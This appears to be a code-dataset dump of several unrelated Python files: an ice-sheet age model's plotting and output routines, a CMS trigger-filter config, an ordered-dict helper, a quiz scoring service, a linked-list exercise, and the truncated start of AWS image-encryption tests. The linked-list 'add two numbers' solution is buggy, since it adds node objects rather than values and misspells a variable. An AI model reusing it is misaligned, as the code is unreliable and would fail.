if self.settick == 'manual':\n plotpara.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n plotpara = plt.subplot(715,\n aspect=self.aspect/(m.log(self.age_max)-m.log(self.age_min))*\\\n self.max_depth/7)\n plt.plot(self.distance, np.log(self.agebot/1000000), label='age 60 m', color='k')\n plt.plot(self.distance, np.log(self.agebotmin/1000000), color='k', linestyle='--')\n plt.plot(self.distance, np.log(self.agebotmax/1000000), color='k', linestyle='--')\n plt.ylabel('age (Myr)', fontsize=10)\n plt.tick_params(axis='y', which='both', labelsize=8)\n plotpara.set_yticks(np.log(np.concatenate((np.arange(1., 10.)/10., np.arange(1., 11.)))))\n labels = [\"\", \"\", \"\", \"\", \"0.5\", \"\", \"0.7\", \"\", \"\", \"1\", \"2\", \"3\", \"4\", \"\", \"6\", \"\", \"\",\n \"\", \"10\"]\n plotpara.set_yticklabels(labels)\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), m.log(self.age_min), m.log(self.age_max)))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([self.melting_min, self.melting_max])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n plotpara.yaxis.tick_left()\n plotpara.yaxis.set_label_position('left')\n\n if self.settick == 'manual':\n plotpara.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n plotpara = plt.subplot(716, aspect=self.aspect/(self.height_max-self.height_min)*\\\n self.max_depth/7)\n plt.plot(self.distance, self.height1dot5Myr, label='height above bed', color='k')\n plt.plot(self.distance, self.height1dot5Myrmin, label='height above bed', color='k',\n linestyle='--')\n# plt.plot(self.distance, self.height1dot5Myrmax+self.sigma_height1dot5Myr,\n# label='height above bed', color='k', linestyle='--')\n plt.ylabel('height (m)', fontsize=10)\n plt.tick_params(axis='y', which='both', labelsize=8)\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.height_min, self.height_max))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([self.melting_min, self.melting_max])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n plotpara.yaxis.tick_right()\n plotpara.yaxis.set_label_position('right')\n\n if self.settick == 'manual':\n plotpara.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n plotpara = plt.subplot(717,\n aspect=self.aspect/(self.reso_max-self.reso_min)*self.max_depth/7)\n plt.plot(self.distance, self.age_density1dot5Myr/1000, label='resolution', color='k')\n plt.plot(self.distance, (self.reso1dot5Myrmin)/1000, label='resolution', color='k',\n linestyle='--')\n plt.plot(self.distance, (self.reso1dot5Myrmax)/1000, label='resolution', color='k',\n linestyle='--')\n plt.ylabel('resolution (kyr/m)', fontsize=10)\n plt.tick_params(axis='y', which='both', labelsize=8)\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.reso_min, self.reso_max))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([self.melting_min, self.melting_max])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n plotpara.yaxis.tick_left()\n plotpara.yaxis.set_label_position('left')\n\n\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n# plt.legend()\n fig.subplots_adjust(hspace=0)\n plt.setp([a.get_xticklabels() for a in fig.axes[:-1]], visible=False)\n pp = PdfPages(self.label+'Parameters.pdf')\n pp.savefig(plt.figure('Parameters'))\n pp.close()\n plt.close(fig)\n\n if self.invert_G0:\n fig = plt.figure('Geothermal heat flux')\n plt.plot(self.distance, self.G0*1000, label='G0', color='k')\n plt.plot(self.distance, (self.G0-self.sigma_G0)*1000, color='k', linestyle='--')\n plt.plot(self.distance, (self.G0+self.sigma_G0)*1000, color='k', linestyle='--')\n plt.ylabel('$G_0$ (mW/m$^2$)')\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n# plt.yaxis.tick_right()\n# plt.yaxis.set_label_position('right')\n pp = PdfPages(self.label+'GeothermalHeatFlux.pdf')\n pp.savefig(fig)\n pp.close()\n plt.close(fig)\n\n\n def parameters_save(self):\n output = np.vstack((self.LON, self.LAT, self.distance, self.a, self.sigma_a,\n self.accu_layer))\n header = '#LON\\tLAT\\tdistance(km)\\taccu(ice-m/yr)\\tsigma_accu'\n header = header + '\\tlayer ' + str(int(self.age_surf/1000.)) + '-' +\\\n str(int(self.iso_age[0]/1000.)) + 'kyr'\n for i in range(self.nbiso-1):\n header = header + '\\tlayer ' + str(int(self.iso_age[i]/1000.)) + '-' +\\\n str(int(self.iso_age[i+1]/1000.)) + 'kyr'\n header = header + '\\n'\n with open(self.label+'a.txt', 'w') as f:\n f.write(header)\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n output = np.vstack((self.LON, self.LAT, self.distance, self.m, self.sigma_m))\n with open(self.label+'m.txt', 'w') as f:\n f.write('#LON\\tLAT\\tdistance(km)\\tmelting(ice-m/yr)\\tsigma_melting\\n')\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n output = np.vstack((self.LON, self.LAT, self.distance, self.p, self.sigma_p))\n with open(self.label+'p.txt', 'w') as f:\n f.write('#LON\\tLAT\\tdistance(km)\\tp\\tsigma_p\\n')\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n output = np.vstack((self.LON, self.LAT, self.distance, self.G0, self.sigma_G0))\n with open(self.label+'G0.txt', 'w') as f:\n f.write('#LON\\tLAT\\tdistance(km)\\tG0\\tsigma_G0\\n')\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n\n def bot_age_save(self):\n output = np.vstack((self.LON, self.LAT, self.distance, self.thk, self.agebot,\n self.agebotmin, self.age100m, self.age150m, self.age200m,\n self.age250m, self.age_density1Myr, self.age_density1dot2Myr,\n self.age_density1dot5Myr, self.height0dot6Myr, self.height0dot8Myr,\n self.height1Myr, self.height1dot2Myr, self.height1dot5Myr,\n self.agebot10kyrm, self.agebot15kyrm, self.thkreal))\n\n with open(self.label+'agebottom.txt', 'w') as f:\n f.write('#LON\\tLAT\\tdistance(km)\\tinverted_thickness(m)\\tage60m(yr-b1950)'\n '\\tage-min(yr-b1950)'\n '\\tage100m\\tage150m\\tage200m\\tage250\\tage_density1Myr\\tage_density1.2Myr\\t'\n 'age_density1.5Myr\\theight0.6Myr\\theight0.8Myr\\theight1Myr\\theight1.2Myr\\t'\n 'height1.5Myr'\n '\\tage-10kyrm\\tage-15kyrm\\treal_thickness'\n '\\n')\n\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n\n def hor_age_save(self):\n output = np.vstack((self.LON, self.LAT, self.distance, self.hor_modage))\n header = '#LON\\tLAT\\tdistance(km)'\n for i in range(self.nbhor):\n header = header+'\\thor_no_'+str(i+1)\n header = header+'\\n'\n with open(self.label+'agehorizons.txt', 'w') as f:\n f.write(header)\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n for i in range(self.nbhor):\n print('horizon no:', i+1, ', average age: ', np.nanmean(self.hor_modage[i, :]),\n ', stdev age: ', np.nanstd(self.hor_modage[i, :]))\n\n def iso_age_save(self):\n output = np.vstack((self.LON, self.LAT, self.distance, self.iso_modage,\n self.iso_modage_sigma))\n header = '#LON\\tLAT\\tdistance(km)'\n for i in range(self.nbiso):\n header = header+'\\tiso_no_'+str(i+1)\n for i in range(self.nbiso):\n header = header+'\\tiso_no_'+str(i+1)\n header = header+'\\n'\n with open(self.label+'ageisochrones.txt', 'w') as f:\n f.write(header)\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n for i in range(self.nbiso):\n print('isochrone no:', i+1, ', average age: ', np.nanmean(self.iso_modage[i, :]),\n ', stdev age: ', np.nanstd(self.iso_modage[i, :]))\n\n\n def twtt_save(self):\n# b = np.chararray((np.size(self.distance)), itemsize=20)\n# b[:] = RLlabel\n# output = np.vstack((self.LON_twtt, self.LAT_twtt, self.twtt1Myr))\n current_folder_path, current_folder_name = os.path.split(RL.label[:-1])\n with open(self.label+'twtt.txt', 'w') as f:\n f.write('#LON\\tLAT\\ttwtt-0.6Myr(lk)\\ttwtt-0.8Myr(lk)\\ttwtt-1Myr(lk)\\ttwtt-1.2Myr(lk)'\n '\\ttwtt-1.5Myr(lk)\\tself.twttBed(lk)\\tLabel\\n')\n for j in range(np.size(self.distance)):\n f.write('{0:11}'.format(str(self.LON_twtt[j]))+'\\t'+\\\n '{0:12}'.format(str(self.LAT_twtt[j]))+'\\t'+\\\n '{0:13}'.format(str(self.twtt0dot6Myr[j]))+'\\t'+\\\n '{0:13}'.format(str(self.twtt0dot8Myr[j]))+'\\t'+\\\n '{0:13}'.format(str(self.twtt1Myr[j]))+'\\t'+\\\n '{0:13}'.format(str(self.twtt1dot2Myr[j]))+'\\t'+\\\n '{0:13}'.format(str(self.twtt1dot5Myr[j]))+'\\t'+\\\n '{0:13}'.format(str(self.twttBed[j]))+'\\t'+current_folder_name+'\\n')\n# np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n\n def layer_depth_save(self):\n output = np.vstack((self.LON, self.LAT, self.distance))\n output = np.vstack((output, self.iso[0, :]/2))\n output = np.vstack((output, (self.iso[:-1, :]+self.iso[1:, :])/2))\n header = '#LON\\tLAT\\tdistance(km)'\n for i in range(self.nbiso):\n header = header+'\\tlayer_no_'+str(i+1)\n header = header+'\\n'\n with open(self.label+'depthlayers.txt', 'w') as f:\n f.write(header)\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n\n def age_2D_save(self):\n # save model results as arrays \n # 2D data\n np.savetxt(self.label + 'distance.txt',self.dist)\n np.savetxt(self.label + 'depth.txt',self.depth)\n np.savetxt(self.label + 'age.txt',self.age/1000.)\n np.savetxt(self.label + 'ages_density.txt',self.age_density)\n np.savetxt(self.label + 'thinning.txt',self.tau)\n np.savetxt(self.label + 'sigma_age.txt',self.sigma_age)\n \n # along line data\n data_line = pd.DataFrame({'Distance': self.distance[:], \n 'thick':self.thkreal[:],\n 'stagnant': self.thkreal[:] - self.thk[:]})\n data_line.to_csv (self.label + 'line.csv', index = False)\n \n # on the isochrones\n np.savetxt(self.label + 'isomod.txt',self.iso_modage) \n np.savetxt(self.label + 'iso_obs_interp.txt',self.iso)\n\n def EDC(self):\n f = interp1d(self.distance, self.age)\n age_EDC = f(self.distance_EDC)\n g = interp1d(self.distance, self.sigma_age)\n sigmaage_EDC = g(self.distance_EDC)\n h = interp1d(self.distance, self.depth)\n depth_EDC = h(self.distance_EDC)\n print('Thickness at EDC is:', depth_EDC[-1])\n i = interp1d(depth_EDC, age_EDC)\n age_EDC_bot = i(max(depth_EDC)-60)\n j = interp1d(depth_EDC, sigmaage_EDC)\n sigmaage_EDC_bot = j(max(depth_EDC)-60)\n print('Age at EDC at 3200 m depth is: ', age_EDC_bot, '+-', sigmaage_EDC_bot)\n f = interp1d(self.distance, self.p)\n p_EDC = f(self.distance_EDC)\n print('p parameter at EDC is: ', p_EDC)\n f = interp1d(self.distance, self.a)\n a_EDC = f(self.distance_EDC)\n print('accumulation at EDC is: ', a_EDC)\n f = interp1d(self.distance, self.m)\n m_EDC = f(self.distance_EDC)\n print('melting at EDC is: ', m_EDC)\n\n readarray = np.loadtxt(self.label+'temperatures_EDC.txt')\n datatempEDC_depth = readarray[:, 0]\n datatempEDC_temp = readarray[:, 1]+273.15\n f = interp1d(self.distance, self.T)\n temp_EDC = f(self.distance_EDC)\n f = interp1d(self.distance, self.T_anal)\n temp_anal_EDC = f(self.distance_EDC)\n plt.figure('Temperature at EDC')\n plt.plot(temp_EDC, depth_EDC, label='model')\n plt.plot(temp_anal_EDC, depth_EDC, label='analytical solution')\n plt.plot(datatempEDC_temp, datatempEDC_depth, label='data')\n plt.ylabel('depth (m)')\n plt.xlabel('temperature (K)')\n x1, x2, y1, y2 = plt.axis()\n plt.axis((x1, x2, y2, 0.))\n plt.legend()\n pp = PdfPages(self.label+'temperatures_EDC.pdf')\n pp.savefig(plt.figure('Temperature at EDC'))\n pp.close()\n\n output = np.vstack((depth_EDC, age_EDC, temp_EDC))\n header = 'depth\\tage\\ttemperature\\n'\n with open(self.label+'EDCresults.txt', 'w') as f:\n f.write(header)\n np.savetxt(f, np.transpose(output), delimiter=\"\\t\")\n\n#Main\nRLlabel = sys.argv[1]\nif RLlabel[-1] != '/':\n RLlabel = RLlabel+'/'\nprint('Radar line is: ', RLlabel)\nprint('Creation of the radar line')\nRL = RadarLine(RLlabel)\nprint('Initialization of radar line')\nRL.init()\nprint('Data display')\nRL.data_display()\nif RL.opt_method == 'leastsq':\n print('Optimization by leastsq')\n RL.variables = np.concatenate((RL.a, RL.p))\n if RL.invert_G0:\n RL.variables = np.concatenate((RL.variables, RL.G0))\n if RL.invert_thk:\n RL.variables = np.concatenate((RL.variables, RL.thk))\n# self.variables = np.concatenate((self.a, self.m, self.s))\n RL.variables, RL.hess, infodict, mesg, ier = leastsq(RL.residuals, RL.variables, full_output=1)\n print(mesg)\n RL.residuals(RL.variables)\n print('Calculation of confidence intervals')\n if not RL.calc_sigma:\n RL.hess = np.zeros((np.size(RL.variables), np.size(RL.variables)))\n RL.sigma()\nelif RL.opt_method == 'none':\n RL.variables = np.concatenate((RL.a, RL.p))\n if RL.invert_G0:\n RL.variables = np.concatenate((RL.variables, RL.G0))\n if RL.invert_thk:\n RL.variables = np.concatenate((RL.variables, RL.thk))\n print('No optimization')\n RL.residuals(RL.variables)\nelif RL.opt_method == 'none1D':\n print('Forward model 1D')\n for j in range(np.size(RL.distance)):\n RL.variables1D = np.array([RL.a[j], RL.p[j]])\n if RL.invert_G0:\n RL.variables1D = np.append(RL.variables1D, RL.G0[j])\n if RL.invert_thk:\n RL.variables1D = np.append(RL.variables1D, RL.thk[j])\n RL.residuals1D(RL.variables1D, j)\nelif RL.opt_method == 'leastsq1D':\n print('Optimization by leastsq1D')\n for j in range(np.size(RL.distance)):\n print('index along the radar line: ', j)\n RL.variables1D = np.array([RL.a[j], RL.p[j]])\n if RL.invert_thk:\n RL.variables1D = np.append(RL.variables1D, RL.thk[j])\n if RL.invert_s:\n RL.variables1D = np.append(RL.variables1D, RL.s[j])\n\n RL.variables1D, RL.hess1D, infodict, mesg, ier = leastsq(RL.residuals1D, RL.variables1D,\n args=(j), full_output=1)\n RL.residuals1D(RL.variables1D, j)\n RL.model1D_finish(j)\n print(RL.variables1D)\n if not RL.calc_sigma:\n RL.hess1D = np.zeros((np.size(RL.variables1D), np.size(RL.variables1D)))\n if np.size(RL.hess1D) != 1:\n RL.sigma1D(j)\n RL.agebotmin = RL.agebot-RL.sigmabotage\n RL.agebotmax = RL.agebot+RL.sigmabotage\n\n\nelse:\n print(RL.opt_method, ': Optimization method not recognized.')\n quit()\nprint('calculating per layer accumulations')\n\nRL.accu_layers()\n\n\n\n\n\nprint('Model display')\nRL.model_display()\nprint('parameters display')\nif RL.is_EDC:\n RL.EDC()\nRL.parameters_display()\nRL.parameters_save()\n#RL.max_age()\nRL.bot_age_save()\nRL.hor_age_save()\nRL.iso_age_save()\nRL.twtt_save()\nRL.layer_depth_save()\nRL.age_2D_save()\nprint('Program execution time: ', time.time() - START_TIME, 'seconds')\n","sub_path":"age_model2.py","file_name":"age_model2.py","file_ext":"py","file_size_in_byte":69645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"310301860","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"Filter\")\n\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_cff\")#https://twiki.cern.ch/twiki/bin/view/CMS/SWGuideFrontierConditions#Global_Tags_for_Monte_Carlo_Prod\nprocess.GlobalTag.globaltag = 'FT_R_44_V9::All'\nprocess.load(\"SimGeneral.HepPDTESSource.pythiapdt_cfi\")\n#process.load(\"PhysicsTools.HepMCCandAlgos.genParticles_cfi\")\nprocess.load(\"FWCore.MessageLogger.MessageLogger_cfi\")\n\n\nnumberOfEvents = 1000\n\n#inPath1 = '/user/cherepanov/data_CMSSW_3_8_7/9d2fd75bcd33af5022152f60e3b68073/' # Z tau tau number oif files = 403\n#f1=open('/user/cherepanov/data_CMSSW_3_8_7/filelist.dat')\n\n#listOfFiles=[]\n\n\n#nFiles1 = 491\n#for nf in range(1,nFiles1):\n# string=f1.readline()\n# listOfFiles.append('file://'+inPath1+string[:-1] )\n# print nf\n\n#print listOfFiles\n \nprocess.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(\n# 'dcap://grid-dcap.physik.rwth-aachen.de/pnfs/physik.rwth-aachen.de/cms/store/mc/Spring10/W1Jets_Pt0to100-alpgen/GEN-SIM-RECO/START3X_V26_S09-v1/0025/423A407A-9048-DF11-9B59-002618943937.root'),\n# 'dcap://grid-dcap.physik.rwth-aachen.de/pnfs/physik.rwth-aachen.de/cms/store/data/Run2011B/TauPlusX/AOD/19Nov2011-v1/0001/44F0216D-1120-E111-9743-003048678B92.root'),\n 'dcap://grid-dcap.physik.rwth-aachen.de/pnfs/physik.rwth-aachen.de/cms/store/data/Run2011A/TauPlusX/AOD/08Nov2011-v1/0001/A80353CB-E715-E111-92F2-00261894391F.root'),\n \n # 'dcap://grid-dcap.physik.rwth-aachen.de/pnfs/physik.rwth-aachen.de/cms/store/data/Run2011B/TauPlusX/AOD/19Nov2011-v1/0000/4E52144C-AC1F-E111-B423-0030486791F2.root'),\n #'dcap://grid-dcap.physik.rwth-aachen.de/pnfs/physik.rwth-aachen.de/cms/store/data/Run2011A/TauPlusX/AOD/08Nov2011-v1/0000/5E150CC2-9315-E111-BEAF-003048FFD7C2.root'),\n \n# listOfFiles),\n\tnoEventSort = cms.untracked.bool(True), #Events are processed in order of run number and luminosity block number always. If this parameter is true, then within a lumino\tduplicateCheckMode = cms.untracked.string('noDuplicateCheck')\n)\n \n\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(numberOfEvents)\n)\n\nprocess.load(\"TriggerFilter.Filter.triggerFilter_cfi\")\n\n\n\nprocess.p = cms.Path(process.TrigFilter)\n","sub_path":"Tau/FlatNtuple/TriggerFilter/Filter/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"622814066","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 19 2017\n@name Dictionary Inheritance Objects\n@author: Jack Kriby Cook\n\n\"\"\"\n\nfrom collections import OrderedDict\n\n\n__version__ = \"1.0.0\"\n__author__ = \"Jack Kirby Cook\"\n__all__ = ['SliceOrderedDict']\n__copyright__ = \"Copyright 2018, Jack Kirby Cook\"\n__license__ = \"\"\n\n\nclass SliceOrderedDict(OrderedDict): \n def __getitem__(self, k): \n if isinstance(k, str): return super().__getitem__(k) \n elif isinstance(k, slice): return self.__read_slice(k)\n elif isinstance(k, int): return self.__retrieve(k, False)\n else: raise TypeError(type(k))\n\n def __read_slice(self, k):\n start, stop = k.start, k.stop \n if start is None: start = 0 \n if stop is None: stop = len(self) \n if stop < 0: stop = len(self) + stop \n\n sodict = self.__class__() \n for idx, key in enumerate(self.keys()): \n if start <= idx < stop: \n sodict[key] = self[key] \n return sodict \n\n def __read_int(self, i):\n if i >= 0: return self.__read_slice( slice( i, i+1 ) )\n else: return self.__read_slice( slice( len(self)+i, len(self)+i+1 ) )\n\n def pop(self, k, default=None):\n if isinstance(k, str): return super().pop(k, default)\n elif isinstance(k, int): return self.__retrieve(k, pop=True)\n else: raise TypeError(type(k))\n\n def get(self, k, default=None):\n if isinstance(k, str): return super().get(k, default)\n elif isinstance(k, int): return self.__retrieve(k, pop=False)\n else: raise TypeError(type(k))\n\n def __retrieve(self, k, pop):\n if abs(k+1 if k<0 else k) >= len(self): raise IndexError(k)\n key, value = list(*self.__read_int(k).items())\n if pop: del self[key]\n return value\n\n\n \n \n \n","sub_path":"customlib/dictionarys.py","file_name":"dictionarys.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"178952944","text":"import json\n\nfrom django.contrib.auth import get_user_model\n\n__all__ = ['check_group_indicators', 'get_average_results',\n 'get_indicators_values', 'get_groups_results',\n 'get_final_buisness_result',\n 'NUMBER_OF_QUESTION_FOR_BUSINESS_QUIZ',\n 'MAX_INDICATOR_VALUE', 'MIN_INDICATOR_VALUE']\n\nNUMBER_OF_QUESTION_FOR_BUSINESS_QUIZ = 24\n\nMIN_INDICATOR_VALUE = 0\nMAX_INDICATOR_VALUE = 100\n\n\ndef check_group_indicators(group_indicator):\n \"\"\"Return dictionary with correct indicators\n by adding constant\n if indicator is < 0 then shift value of indicator to 0\n if is indicator is > 100 then shift value of indicator to 100\n :param dict group_indicator: Dictionary with group indicators\n :return:dict Dictionary with correct indicators\n \"\"\"\n for indicator in group_indicator:\n if group_indicator[indicator] < MIN_INDICATOR_VALUE:\n group_indicator[indicator] = MIN_INDICATOR_VALUE\n elif group_indicator[indicator] > MAX_INDICATOR_VALUE:\n group_indicator[indicator] = MAX_INDICATOR_VALUE\n return group_indicator\n\n\ndef get_average_results(list_of_answer, number_of_questions):\n \"\"\"\n Return list of average for each answer\n each element in this list is average value for list inside list_of_answer\n :param int number_of_questions: number of questions in quiz\n :param list list_of_answer: List with lists of users answers\n :return: list List of average result for each answer\n \"\"\"\n avg_list = []\n for i in range(number_of_questions):\n avg_list.append(sum([result[i] for result in list_of_answer]) / len(\n list_of_answer))\n return avg_list\n\n\ndef get_indicators_values(answers_list):\n \"\"\"\n Return value for each indicator by formulas\n :return: dict dictionary with value for each indicator\n \"\"\"\n group = {'pdi': round(35 * (answers_list[6] - answers_list[1]) + 25 * (\n answers_list[19] - answers_list[22]), 2),\n 'idv': round(35 * (answers_list[3] - answers_list[0]) + 35 * (\n answers_list[8] - answers_list[5]), 2),\n 'mas': round(35 * (answers_list[4] - answers_list[2]) + 35 * (\n answers_list[7] - answers_list[9]), 2),\n 'uai': round(40 * (answers_list[17] - answers_list[14]) + 25 * (\n answers_list[20] - answers_list[23]), 2),\n 'lto': round(40 * (answers_list[12] - answers_list[13]) + 25 * (\n answers_list[18] - answers_list[21]), 2),\n 'ivr': round(35 * (answers_list[11] - answers_list[10]) + 40 * (\n answers_list[16] - answers_list[15]), 2)}\n return group\n\n\ndef get_groups_results(data):\n \"\"\"\n Return list with list of results\n\n :param list data: List with users profile\n :return: List with lists of results\n \"\"\"\n list_of_results = []\n for result in data:\n list_of_results.append(\n json.loads(result.results_set.last().result))\n\n return list_of_results\n\n\ndef get_final_buisness_result(data, *args):\n \"\"\"\n Return dictionary of indicators with correct values\n If data is Profile objects then args should be id of result\n If data is Group object then args is not required\n\n If users in group have not results then return dictionary of indicators\n with 0 values\n\n :param Profile|Group data:\n :param int args: id of result (only for profile)\n :return dict: Dictionary of indicators\n \"\"\"\n if isinstance(data, get_user_model()):\n group_answers = [json.loads(\n data.results_set.filter(pk=args[0]).first().result)]\n else:\n users_results = data.user.exclude(results=None)\n if not users_results:\n return {\n 'pdi': 0,\n 'idv': 0,\n 'mas': 0,\n 'uai': 0,\n 'lto': 0,\n 'ivr': 0,\n }\n group_answers = get_groups_results(users_results)\n average_result = get_average_results(group_answers,\n NUMBER_OF_QUESTION_FOR_BUSINESS_QUIZ)\n indicator_list = get_indicators_values(average_result)\n data = check_group_indicators(indicator_list)\n return data\n","sub_path":"quiz/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"296950396","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x;\n self.next = None;\n\t\t \nclass Solution():\n def Addtwonumbers(self,list1,list2):\n # list1 and list2 type: ListNode;\n # return type (res): ListNode;\n carry = 0;\n res = None;\n res_end = None;\n \n while list1 is not None or list2 is not None or carry!=0:\n temp = 0;\n if list1 is not None:\n temp += list1;\n list1 = list1.next;\n if list2 is not None:\n temp += list2;\n list2 = list2.next;\n temp += carry;\n \n digit = temp % 10;\n carry = temp // 10;\n \n if res is None: # for the head of the linked list \n res = ListNode(digit);\n red_end = res;\n else:\n res_end.next = ListNode(digit);\n res_end = res_end.next;\n return res;\n ","sub_path":"4_addtwo_linkedlist/4_addtwo_linkedlist_v2.py","file_name":"4_addtwo_linkedlist_v2.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"411900179","text":"# Copyright 2017 Bracket Computing, Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\").\n# You may not use this file except in compliance with the License.\n# A copy of the License is located at\n#\n# https://github.com/brkt/brkt-cli/blob/master/LICENSE\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n# CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and\n# limitations under the License.\nimport email\nimport json\nimport os\nimport unittest\n\nimport brkt_cli\nimport brkt_cli.aws\nimport brkt_cli.util\nfrom brkt_cli import ValidationError, encryptor_service\nfrom brkt_cli.aws import (\n aws_service, encrypt_ami, update_ami, test_aws_service,\n boto3_device)\nfrom brkt_cli.aws.aws_constants import TAG_ENCRYPTOR_SESSION_ID\nfrom brkt_cli.aws.model import Subnet, Volume\nfrom brkt_cli.aws.test_aws_service import build_aws_service\nfrom brkt_cli.instance_config import (\n BRKT_CONFIG_CONTENT_TYPE,\n INSTANCE_UPDATER_MODE,\n)\nfrom brkt_cli.instance_config_args import instance_config_from_values\nfrom brkt_cli.test_encryptor_service import (\n DummyEncryptorService,\n FailedEncryptionService\n)\nfrom brkt_cli.util import (\n CRYPTO_GCM,\n CRYPTO_XTS\n)\n\n\nclass TestEncryptedImageName(unittest.TestCase):\n\n def test_name_validation(self):\n name = 'Test123 ()[]./-\\'@_'\n self.assertEquals(name, aws_service.validate_image_name(name))\n with self.assertRaises(ValidationError):\n aws_service.validate_image_name(None)\n with self.assertRaises(ValidationError):\n aws_service.validate_image_name('ab')\n with self.assertRaises(ValidationError):\n aws_service.validate_image_name('a' * 129)\n for c in '?!#$%^&*~`{}\\|\"<>':\n with self.assertRaises(ValidationError):\n aws_service.validate_image_name('test' + c)\n\n\nclass TestException(Exception):\n pass\n\n\nclass CantContactEncryptionService(encryptor_service.BaseEncryptorService):\n def is_encryptor_up(self):\n return False\n\n def get_status(self):\n return {\n 'state': encryptor_service.ENCRYPT_FAILED,\n 'percent_complete': 50,\n 'bytes_written': 1048576,\n }\n\n\nclass DummyValues():\n def __init__(self, encryptor, guest):\n self.ami = guest\n self.ca_cert = None\n self.crypto = CRYPTO_XTS\n self.encrypted_ami_name = None\n self.encryptor_ami = encryptor\n self.encryptor_instance_type = None\n self.guest_instance_type = None\n self.ntp_servers = None\n self.proxies = None\n self.proxy_config_file = None\n self.save_encryptor_logs = None\n self.security_group_ids = None\n self.single_disk = False\n self.subnet_id = None\n self.status_port = 80\n self.terminate_encryptor_on_failure = True\n self.updater_instance_type = None\n\n\nclass TestRunEncryption(unittest.TestCase):\n\n def setUp(self):\n brkt_cli.util.SLEEP_ENABLED = False\n\n def test_smoke(self):\n \"\"\" Run the entire process and test that nothing obvious is broken.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n encrypted_ami_id = encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n image = aws_svc.get_image(encrypted_ami_id)\n dev_names = boto3_device.get_device_names(image.block_device_mappings)\n self.assertEqual(len(dev_names), 2)\n self.assertTrue('/dev/sda1' in dev_names)\n\n def test_encryption_error_console_output_available(self):\n \"\"\" Test that when an encryption failure occurs, we write the\n console log to a temp file.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n # Create callbacks that make sure that we stop the encryptor\n # instance before collecting logs.\n self.encryptor_instance = None\n\n def run_instance_callback(args):\n if args.image_id == encryptor_image.id:\n self.encryptor_instance = args.instance\n\n self.encryptor_stopped = False\n\n def stop_instance_callback(instance):\n if (self.encryptor_instance and\n instance.id == self.encryptor_instance.id):\n self.encryptor_stopped = True\n\n aws_svc.run_instance_callback = run_instance_callback\n aws_svc.stop_instance_callback = stop_instance_callback\n\n try:\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=FailedEncryptionService,\n values=values)\n self.fail('Encryption should have failed')\n except encryptor_service.EncryptionError as e:\n with open(e.console_output_file.name) as f:\n content = f.read()\n self.assertEquals(test_aws_service.CONSOLE_OUTPUT_TEXT,\n content)\n os.remove(e.console_output_file.name)\n\n self.assertTrue(self.encryptor_stopped)\n\n def 